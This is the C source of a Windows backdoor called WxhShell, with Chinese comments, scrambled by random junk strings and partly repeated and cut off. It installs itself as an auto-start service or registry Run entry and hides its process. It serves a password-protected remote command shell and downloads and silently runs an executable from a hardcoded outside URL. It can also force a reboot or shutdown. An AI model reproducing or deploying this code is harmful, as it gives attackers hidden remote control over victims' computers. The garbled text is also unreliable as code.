f({( @81Vc<dJ HANDLE hProcess; /c-r PROCESS_BASIC_INFORMATION pbi; {}m PEd b ls `,EFF HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7,MS '2nz if(NULL == hInst ) return 0; 2gjGeM ]I.n\2R]om g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l?DJJ|> O g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #9fWAF NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I3:[= ,5 zYv#:>C8 if (!NtQueryInformationProcess) return 0; J~iBB~x. IU]^&e9u hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9W>Y#V~|v! if(!hProcess) return 0; [;.`,/ (j"( if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q2];RS3. <0.$'M~E CloseHandle(hProcess); z6~
H:k1G% j ! NO|&k hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b7\ cxgRq if(hProcess==NULL) return 0; p|/j4@-h H{c?lT HMODULE hMod; GOB(#vu char procName[255]; c<BO gNr unsigned long cbNeeded; A+wv-~3 Q2%QLM:., if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -g/hAxb5 9>#:/g/ CloseHandle(hProcess); Ekm7 )d$ &&<9p;E if(strstr(procName,"services")) return 1; // 以服务启动 B 2.q3T wVA|!>v return 0; // 注册表启动 1fL<&G } Y?r
po {,j6\Cj 4 // 主模块 0ZPV'`KGp int StartWxhshell(LPSTR lpCmdLine) xaKst
p { 68'>Zbelb SOCKET wsl;
0gF!!m BOOL val=TRUE; kao}(?x% int port=0; 8Chu"PM%-J struct sockaddr_in door; ftavbNR`W @gBE{)Fj if(wscfg.ws_autoins) Install(); 2vKx]w i(wgB\9i4 port=atoi(lpCmdLine); f|a DTWF Q\J,}1<`6 if(port<=0) port=wscfg.ws_port; 6a>H|"PNE N\1/JW+ WSADATA data; "]-],K if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gKb0)4 AK Y5!b)vke if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -05U%l1e setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8<)$z?K door.sin_family = AF_INET; vU/ D7 door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~j @UlP door.sin_port = htons(port);
8R69q: XqR{.jF. if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "t&{yBQ0u closesocket(wsl); *"G 8 return 1; h K}bj } l@d
gJ `:-J+<` if(listen(wsl,2) == INVALID_SOCKET) { eZO9GMO closesocket(wsl); {.#zHL
; return 1; <qiICb)~ } uJ'9R`E ]1 Wxhshell(wsl); .:;fAJPf WSACleanup(); a|N0(C +
>sci return 0; ,p,Du
F 9Nl*4 } 5(}H
? {>.>7{7 // 以NT服务方式启动 &?$\Y,{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "zZ&n3=@ { iAQvsE DWORD status = 0; ,e ELRzjl DWORD specificError = 0xfffffff; ~{
.,8jE @]3*B%t serviceStatus.dwServiceType = SERVICE_WIN32; mvf
_@2^ serviceStatus.dwCurrentState = SERVICE_START_PENDING; q lY\*{x4 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lgG8!Ja serviceStatus.dwWin32ExitCode = 0; -g2{681`r serviceStatus.dwServiceSpecificExitCode = 0; d x359 serviceStatus.dwCheckPoint = 0; RUrymkHFB serviceStatus.dwWaitHint = 0; gO{W#% ~iT{8 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $wXih#7 if (hServiceStatusHandle==0) return; $PfV<Yj'B OX,F09.C status = GetLastError();
,(hY%M&\ if (status!=NO_ERROR) 7dhn'TW { =w ,(M serviceStatus.dwCurrentState = SERVICE_STOPPED; xDe47&qKM serviceStatus.dwCheckPoint = 0; s#Q_Gu serviceStatus.dwWaitHint = 0; ) hPVX()O! serviceStatus.dwWin32ExitCode = status; XkoW L serviceStatus.dwServiceSpecificExitCode = specificError; 9l=Fv6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); #y`k$20" return; @{de$ODu } j)<[j&OWw iDvpXn serviceStatus.dwCurrentState = SERVICE_RUNNING; <lX:eR1 serviceStatus.dwCheckPoint = 0; I9s$bRbT serviceStatus.dwWaitHint = 0; 'v`~(9'Rcj if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9w$7VW; } S&`O\!NF 1uj05aZh} // 处理NT服务事件,比如:启动、停止 !%)L&W_ VOID WINAPI NTServiceHandler(DWORD fdwControl) :=B[yD! { vD"_X"v switch(fdwControl) :'b%5/ ^q { t"#lnG!G case SERVICE_CONTROL_STOP: $/y%[ . serviceStatus.dwWin32ExitCode = 0; Dl@{}9 serviceStatus.dwCurrentState = SERVICE_STOPPED; j!"iYtgV serviceStatus.dwCheckPoint = 0; o|BFvhg serviceStatus.dwWaitHint = 0; +;5Wp$M\ { rGAFp,}-f SetServiceStatus(hServiceStatusHandle, &serviceStatus); } pSt@3o, } )<tzm'Rc return; %!#rrt,F case SERVICE_CONTROL_PAUSE: iu+zw[f serviceStatus.dwCurrentState = SERVICE_PAUSED; U0ns3LirP break; TosPk(o( case SERVICE_CONTROL_CONTINUE: 9O2a |
d serviceStatus.dwCurrentState = SERVICE_RUNNING; Ty(yh(oYF` break; d"Ml^rAn case SERVICE_CONTROL_INTERROGATE: 939]8BERt break; KX$qM g1j }; WCWSLEAza SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rs^jk)Z:) } `mQP{od?"? w@4t$bd7 // 标准应用程序主函数 U=_~{[/ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Nt?2USTs- { |
3hT { Jq=X!mTd. // 获取操作系统版本 8-W"4)@b OsIsNt=GetOsVer(); y_;]=hEL GetModuleFileName(NULL,ExeFile,MAX_PATH); 5n-9#J$ m.;{ 8AM%f // 从命令行安装 )<m=YI
;< if(strpbrk(lpCmdLine,"iI")) Install(); {-:4O\/ h0&>GY;i // 下载执行文件 :%+^} if(wscfg.ws_downexe) { "Yc^Nc if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ..v@Q% WinExec(wscfg.ws_filenam,SW_HIDE); g>d7%FFn} } `lH1IA/3 IF,i^, if(!OsIsNt) { OtrXYiKB
// 如果时win9x,隐藏进程并且设置为注册表启动 35-DnTv HideProc(); S&;T_^| StartWxhshell(lpCmdLine); ;C7BoHB9 } e3oYy#QNk else Y`E{E|J if(StartFromService()) E.En$'BvB // 以服务方式启动 *Xf[b)FR StartServiceCtrlDispatcher(DispatchTable); \Nh^Ig else }R?v"6aBS // 普通方式启动 oX=*MEfX StartWxhshell(lpCmdLine); 62k9"xSH TV$\v@\ = return 0; Wfi:wCqZG } UeK,q>i CrQA :_Z(7 Q
KDb etQx>U =========================================== DLg `Q0`M5 d=c1WK ;c \zgs~"T y~#R:&d" 0|wKR|zW {YxSH% " )0 42?emn -?2 &5YB #include <stdio.h> r~Is,.zZ} #include <string.h> =km-`}I, #include <windows.h> fs)q7 7g #include <winsock2.h> y[ rB" #include <winsvc.h> #4|i@0n}D #include <urlmon.h> $
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< Cs~\FI1wR #pragma comment (lib, "Ws2_32.lib") eA~_)-Z- #pragma comment (lib, "urlmon.lib") ]Pg?(lr6) ngH~4HyT #define MAX_USER 100 // 最大客户端连接数 A=YEY n #define BUF_SOCK 200 // sock buffer H(*=9 #define KEY_BUFF 255 // 输入 buffer 07G*M ] -+S~1`0 #define REBOOT 0 // 重启
^F{)4 #define SHUTDOWN 1 // 关机 JQvQm|\nc #uR q] 'P #define DEF_PORT 5000 // 监听端口 si"mM>e (
_F #define REG_LEN 16 // 注册表键长度 =QxE-)v #define SVC_LEN 80 // NT服务名长度 5M.n'* /{#_Um0. // 从dll定义API ,h)T( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eABdye typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6w`}+3 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vM>`CZ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NtP.) k;Ny%%5 // wxhshell配置信息 Gv2./<{# struct WSCFG { =D"63fP1 int ws_port; // 监听端口 :tS>D5dz( char ws_passstr[REG_LEN]; // 口令 lO[jf6gB int ws_autoins; // 安装标记, 1=yes 0=no < $?}^
0R char ws_regname[REG_LEN]; // 注册表键名 hZ / char ws_svcname[REG_LEN]; // 服务名 =K<I)2
char ws_svcdisp[SVC_LEN]; // 服务显示名 1#X=&N char ws_svcdesc[SVC_LEN]; // 服务描述信息 &DhA$o "' char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x%?*]*W int ws_downexe; // 下载执行标记, 1=yes 0=no e.Q K% char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DP'Dg /D char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ii]=C(e9 2P>za\ }; bqwW9D( [<1+Q =; // default Wxhshell configuration $iz pH struct WSCFG wscfg={DEF_PORT, Am`A[rV0 "xuhuanlingzhe", 58ZiCvqv 1, oZcwbo8 "Wxhshell", %oKc?'L0 "Wxhshell", w\;9&;; "WxhShell Service", KGLhl;a "Wrsky Windows CmdShell Service", ~5dq5_ "Please Input Your Password: ", {gHscj;SM 1, Lj* =*V "http://www.wrsky.com/wxhshell.exe", l7y`$8Co "Wxhshell.exe" iwx0V }; U;dt-3?=.h E/-Kd!|" // 消息定义模块 b2kbuk] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; UNLNY,P/!) char *msg_ws_prompt="\n\r? for help\n\r#>"; i1\ /\^ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &>B>+}' char *msg_ws_ext="\n\rExit."; ${,eQ\ char *msg_ws_end="\n\rQuit."; f]65iE?x char *msg_ws_boot="\n\rReboot..."; ew ,ed U char *msg_ws_poff="\n\rShutdown..."; dnc!=Z89 char *msg_ws_down="\n\rSave to "; 9s6lt#?b !PTbR4s char *msg_ws_err="\n\rErr!"; Dk6\p~q char *msg_ws_ok="\n\rOK!"; TUYl><F5v= 4J|t} char ExeFile[MAX_PATH]; ##ea-"m8 int nUser = 0; `mTxtuid{ HANDLE handles[MAX_USER]; RWcQT` int OsIsNt; 69[k
?')LM
vXZz=E
AH SERVICE_STATUS serviceStatus; U4pvQE.m< SERVICE_STATUS_HANDLE hServiceStatusHandle; pg`;)@ 2Yjysn // 函数声明 j !n> d int Install(void); Z6ex<[`I int Uninstall(void); zXPj7K* int DownloadFile(char *sURL, SOCKET wsh); Zul32]1r int Boot(int flag); -^"?a]B void HideProc(void);
`.-C6! int GetOsVer(void); FeRuZww._J int Wxhshell(SOCKET wsl); R7b*(33 void TalkWithClient(void *cs); 55KL^+-~ int CmdShell(SOCKET sock); m,q<R1 int StartFromService(void); "7/YhLq7 int StartWxhshell(LPSTR lpCmdLine); +:Zi(SuS] 0P
>dXd)T VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h /Nt92 VOID WINAPI NTServiceHandler( DWORD fdwControl ); _/\H3 }PuO$
L // 数据结构和表定义 4w[ta?&6B SERVICE_TABLE_ENTRY DispatchTable[] = ( mMz]b5 { |th )Q {wscfg.ws_svcname, NTServiceMain}, w;_=$L'H&G {NULL, NULL} 1nmWL0 }; #O
]IXo(5z 4(IP // 自我安装 PS1~6f"D int Install(void) Ey%NqOs0# { r2w7lf66! char svExeFile[MAX_PATH]; \}W.RQ^3 HKEY key; A/aQpEb% strcpy(svExeFile,ExeFile); Lo4t:H& C3gz)!3 // 如果是win9x系统,修改注册表设为自启动 Op~+yMef if(!OsIsNt) { 5Bk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X=~QE}x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %4J?xhd RegCloseKey(key); .}s a2- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6 H.Da]hk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *ni|I@8 RegCloseKey(key); `!N?#N:b) return 0; "?-s
Qn } (ShJ! } !hUyX}{`j } )-gyDA else { /8T{bJ5 =j-{Mxb3 // 如果是NT以上系统,安装为系统服务 Pipif. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XlPy(> if (schSCManager!=0) ML-g"wv { tTal<4 SC_HANDLE schService = CreateService pP&~S<[ ( 3(kZfH~ schSCManager, F44")fY wscfg.ws_svcname, aoN[mV' wscfg.ws_svcdisp, /<~IKVz\& SERVICE_ALL_ACCESS, >b0}X)Z+U SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :O2N'vl47A SERVICE_AUTO_START, *RhdoD|a SERVICE_ERROR_NORMAL, LJ?7W,? svExeFile, =zdRoXBY[b NULL, Yhfk{ CI NULL, :s\s3#? NULL, } 2KuY\5\i NULL, R4?/7 NULL PYGHN
T ); y$rp1||lH if (schService!=0) TD<. :ul] { e8Jd*AKjb CloseServiceHandle(schService); ?]S*=6 CloseServiceHandle(schSCManager); LvS` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hz!.|U@,{< strcat(svExeFile,wscfg.ws_svcname); _F3 :j9^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7y!{lr=n RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {>#Ya;E RegCloseKey(key); }QK-@T@4< return 0; e([}dz } cOSUe_S0w[ } d}1R<Q;F CloseServiceHandle(schSCManager); #H|]F86 ( } o}BaZ|iZ2 } &}<IR\ci ]'{<O3:7 return 1; ,xGkE7=5 } o4xZaF4+ ;tO (,^ // 自我卸载
Re`= B int Uninstall(void) 'j|;M { q*>`HTPcU HKEY key; E8/P D 6H@=O1W if(!OsIsNt) { 4q2aVm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "~tEmMz RegDeleteValue(key,wscfg.ws_regname); UhNeY{6 RegCloseKey(key); Jf2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nCt:n}+C7 RegDeleteValue(key,wscfg.ws_regname); @#nB]qV:e RegCloseKey(key); >k"/:g^t return 0; dLLF#N } LbnR=B! } e tY9Pq } M^a QH/=:" else { dAR):ZKq? A >Js`s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 99vm7"5 hQ if (schSCManager!=0) d+$a5 [^9 { RV-7y^[]^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fDf:Jec`[ if (schService!=0) g9g^zd, { .7"
f~%&oP if(DeleteService(schService)!=0) { +v/_R{ M CloseServiceHandle(schService); kP3'BBd, CloseServiceHandle(schSCManager); L9(fa+$+# return 0; A~u-Iv(U } d
n3sh< CloseServiceHandle(schService); 49cQA$Ad } |,|b~> CloseServiceHandle(schSCManager); >O?5mfMK } &jr'vS[b } UT%^!@u 1jpcoJ@s return 1; 'Tj9btM*cL } |}t[-a 7EO/T,{a // 从指定url下载文件 wS9EC}s:Q int DownloadFile(char *sURL, SOCKET wsh) '7 SFa]tH { Cwl#(;@ HRESULT hr; U:"E:Bxz;m char seps[]= "/"; *%bQ p char *token; Q0s!]Dk char *file; hKj"Lb9] char myURL[MAX_PATH]; eKsc [" char myFILE[MAX_PATH]; 3!ZndWSHV 9q(*'rAm strcpy(myURL,sURL); v@(Y:\> token=strtok(myURL,seps); CvS}U% while(token!=NULL) hi^@969 { ]lV\D8# file=token; WW\t<O;z token=strtok(NULL,seps); &;I=*B~kE$ } Y%m^V?k ))JbROBU, GetCurrentDirectory(MAX_PATH,myFILE); z]:{ruvH strcat(myFILE, "\\"); s~V%eq("} strcat(myFILE, file); N{w)}me[YY send(wsh,myFILE,strlen(myFILE),0); =wE1j send(wsh,"...",3,0); sTv;Ogs. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HY|=Z\l" if(hr==S_OK) Y=94<e[f" return 0; IY jt*p5 else {kVhht]X return 1; XqX6UEVR4 M`{~AIqd( } KVQ|l,E,
/ ksb.]P d. // 系统电源模块 A"ApWJ3 int Boot(int flag) OcWy#,uC
{ 6'E3Q=}d HANDLE hToken; b8o}bm{s TOKEN_PRIVILEGES tkp; C5k\RS9 +OM`c7M: if(OsIsNt) { KPW2e2{4@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CI%4!K;{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [R-&5 G!x tkp.PrivilegeCount = 1; %z9eVkPI~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5BWO7F0v" AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yhwwF
n\ if(flag==REBOOT) { PH$fDbC8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t.f#_C\ return 0; |^ K"#K } 3JnBKh\n else { Y5rR if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P01o: /} return 0; 7NG^I6WP- } KNH.4A , } =6o,{taZ.~ else { WcE{1&PXx if(flag==REBOOT) { $mS]K!\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AL(YQ)-Cg return 0; +aa( YGL } ~i3/Ec0\ else { 8`edskWrU if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MJxTzQE return 0; $%*E)~ } 1K<4Kz~ } =Tdh]0 ^7cZ9/3 return 1; z@\r V@W5 } Ai99:J2k ?hW?w$C // win9x进程隐藏模块 / /ty]j void HideProc(void) M@LI(; { .'+*>y! f{]eb1 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *TacVp if ( hKernel != NULL ) iGCA>5UE { JjH#,@'. pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BC/oh+FW3 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }=d]ke9_ FreeLibrary(hKernel); W> ZL[BQ } %j
'_I\ yS*s[vT return; b?h)~j5 } ct,Iu+HJ %]~XbO // 获取操作系统版本 `vkNp8| int GetOsVer(void) $?38o6 { T?p'R OSVERSIONINFO winfo; lu]Z2xSv winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 95`Q=I|i GetVersionEx(&winfo); 3 #fOrNU2 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Cfizh@< return 1; D4CN%^? else t>W^^'=E return 0; /zB;1%m- } H(eGqVAq, M7$ h // 客户端句柄模块 Mn<G9KR int Wxhshell(SOCKET wsl) y;0k |C { 'Gn-8r+ SOCKET wsh; aWp9K+4R$/ struct sockaddr_in client; 4v@urW s DWORD myID; fxW,S 50 s)5G# while(nUser<MAX_USER) ^H0`UKE { fB\+.eN int nSize=sizeof(client); q\PHA wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DXbzl
+R if(wsh==INVALID_SOCKET) return 1; eSV_.uvsb [1I>Bc&o* handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (r&e| if(handles[nUser]==0) QuJ~h}k closesocket(wsh); {nyQ]Nu" else cfb8kNn~+ nUser++; XM0;cF } n?@3+wG WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c"vF i~Db 3f 1@<7* return 0; &VY(W{\eY } (-V=&F_ oiG@_YtR // 关闭 socket ~:65e 8K void CloseIt(SOCKET wsh) ?J;* { %s]l^RZ closesocket(wsh); c=S-g 9J nUser--; LU#DkuIG ExitThread(0); Dy>U=(S } ^bVY&iXNu _}_lrg}U // 客户端请求句柄 ;$ot,mH?T void TalkWithClient(void *cs) 1wx&/#a {
MX3ss,F h6!o,qw" SOCKET wsh=(SOCKET)cs; ya+eGD@N': char pwd[SVC_LEN]; @J[l^o9 char cmd[KEY_BUFF]; 'IaI7on char chr[1]; /}~;
b#t int i,j; V;b^b5yZ> _g%Wx?K9 while (nUser < MAX_USER) { ELx?ph -9 m?Gb5=qo if(wscfg.ws_passstr) { A+JM* eB if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p[Z'Fl //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nN|zEw] //ZeroMemory(pwd,KEY_BUFF); ? WD|a( i=0; e/;1<5tfj while(i<SVC_LEN) { ?}QHEk:H }m?1IU%q // 设置超时 tDuQ+|~M fd_set FdRead; P,S$qD*4 struct timeval TimeOut; /o<tmK_m FD_ZERO(&FdRead); ObDcNq/b! FD_SET(wsh,&FdRead); C*e)UPK` TimeOut.tv_sec=8; >R5qhVYFb TimeOut.tv_usec=0; PB
!\r}Q int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'o2V}L'nG if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); YF{ KSGq 7=.}484>J if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /MS*_ pwd=chr[0]; {C=d9z~: if(chr[0]==0xd || chr[0]==0xa) { 4KB)UPW pwd=0; jV_Eyi3 break; +vxU~WIV& } 0:(`t~ i++; _8Si8+j } dXKv"*7l Dh*>361y- // 如果是非法用户,关闭 socket GHQa{@m2V if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nwd
02tu } N=)
E$h LK8K=AA3P send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3r=IO# send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cmQLkT"#K 5S PGv}if while(1) { C9-90,
{5+t\~q$ ZeroMemory(cmd,KEY_BUFF); s'LY)_n urT!?*g, // 自动支持客户端 telnet标准 `pp"htm j=0; MKd{y~' while(j<KEY_BUFF) { PI7M3\z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )J/,-p cmd[j]=chr[0]; 0 T!_;IQ if(chr[0]==0xa || chr[0]==0xd) { u7!X#< cmd[j]=0; axOdGv5 break; e_6@oh2s- } U8?%Dq%i j++; W,zlR5+Jk } Or&TGwo I F+vgkqs@9 // 下载文件 HYgq@47$[ if(strstr(cmd,"http://")) { GgH=w`;_ send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]Mv.Rul?~ if(DownloadFile(cmd,wsh)) I71kFtvcy* send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]A;zY%> else 4ze-N8<[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =K#D^c~ } sL;qC\S else { XW6>;:4k 4/S% eZB switch(cmd[0]) { ya]CxnKR3 A{Giz&p // 帮助 DSyfF&uC case '?': { 4{rwNBj( send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Pj_2y)^? break; >JVZ@
PV
H } \D BtU7"v // 安装 g7k|Ho-W case 'i': { (3C6'Wt if(Install()) @dAc2<4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); C7&4, ], else R;6(2bTN6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6\(wU?m'/ break; %s~MfK.k } [3++Q-rR= // 卸载 ZK))91;v case 'r': { wmFI? if(Uninstall()) #5)E4"m send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Ko^m(` else |yiM7U,i send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t&(}`W break; xMDx<sk } 8$<jd^w
// 显示 wxhshell 所在路径 fU_itb( case 'p': { [QA@XBy6 char svExeFile[MAX_PATH]; 0qSd#jO strcpy(svExeFile,"\n\r"); AE1!u{ strcat(svExeFile,ExeFile); y5>859"h send(wsh,svExeFile,strlen(svExeFile),0); ,qJ/Jt$A break; l>)0OP] } {20^abUAS // 重启 gQf'|%)AJ case 'b': { hA6!F#1 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uJ,>Y#
? if(Boot(REBOOT)) XoM+"R" send(wsh,msg_ws_err,strlen(msg_ws_err),0); %^xY7!{ else { F*hOa|7/ closesocket(wsh); O-6848iCX ExitThread(0); k}y1IW+3 } [*w^|b? break; $6 \v1 } %qRbl4 // 关机 Sf[ZGY) case 'd': { ,EW-21 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HjKj.fV if(Boot(SHUTDOWN)) zC6,m6Dv send(wsh,msg_ws_err,strlen(msg_ws_err),0); MIasCH>r else { {ScilT closesocket(wsh); tG(?PmQ ExitThread(0); z
cN1i^
} EY;C5P4 break; yWsV !Ub } |Vc8W0~0 // 获取shell L%9DaK case 's': { DLe?@R5 CmdShell(wsh); 'E+Ty(ED5 closesocket(wsh); \;&9h1?Mn ExitThread(0); jgbUZP4J> break; qsn6i%VH } Fy8KZWim // 退出
!]4'f/ case 'x': { ;>Y,b4B; send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,%e.nj9 CloseIt(wsh); s QfP8}U break; `s(T(l } />_Mz // 离开 Q+gd|^Vc9 case 'q': { fdGls`H send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]N!382 closesocket(wsh); *@|d7aiO WSACleanup(); IQxY]0\uf6 exit(1); %M^X>S\% break; eZR{M\Q } wQJY,|. } UN[rW0* } "jly[M}C 5$0@f`sj // 提示信息 |=2E?&%? if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MHmaut# } :Lqz` } `|e?91@vEa wMNtN3 return; 6"C$]kF? } f.cIh ZF c*$&MCh // shell模块句柄
bz'V50 int CmdShell(SOCKET sock) =z^v)=uhp { G\&4_MS STARTUPINFO si; Q9=vgOW+ ZeroMemory(&si,sizeof(si)); ),y{.n:wm si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SDpaW6(_ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _]H$rf,Rc PROCESS_INFORMATION ProcessInfo; IM),cOp= char cmdline[]="cmd"; )?RR1P-ID CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o,(MB[|hQ return 0; WgPpW!` } K4NB# #FKo:id`K // 自身启动模式 o^%4w>| int StartFromService(void) Q.Uyl:^PxU { 0\#uxzdhJ typedef struct DZKVZ_q { O?|opD DWORD ExitStatus; q\*",xZxwz DWORD PebBaseAddress; )MqF~[k<- DWORD AffinityMask; /M(FuV DWORD BasePriority; ORk8^0\ ULONG UniqueProcessId; p>7!"RF:U ULONG InheritedFromUniqueProcessId; *#{[9d } PROCESS_BASIC_INFORMATION; *e{d^ H^sPC{6+pf PROCNTQSIP NtQueryInformationProcess; E8#RG-ci +[@Ug`5M static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e8O[xM static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m,',luQ RGh`=D/yE HANDLE hProcess; jrT5Rw_}q PROCESS_BASIC_INFORMATION pbi; GY 4?}T^s MB;<F HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m~ :W$x1+ if(NULL == hInst ) return 0; tep_g4CQR_ &>43l+ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JVE]Qb_ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +ou5cQ^ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Yoi4R{9c ?<VahDBS+A if (!NtQueryInformationProcess) return 0; f@Mm{3&. V4'G%!NY hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,y@`= if(!hProcess) return 0; aGvD TWE$@/9 )g if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M6U/.
n os*QWSs CloseHandle(hProcess); |9.`qv 0p\R@{ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fXCx!3m if(hProcess==NULL) return 0; Zo
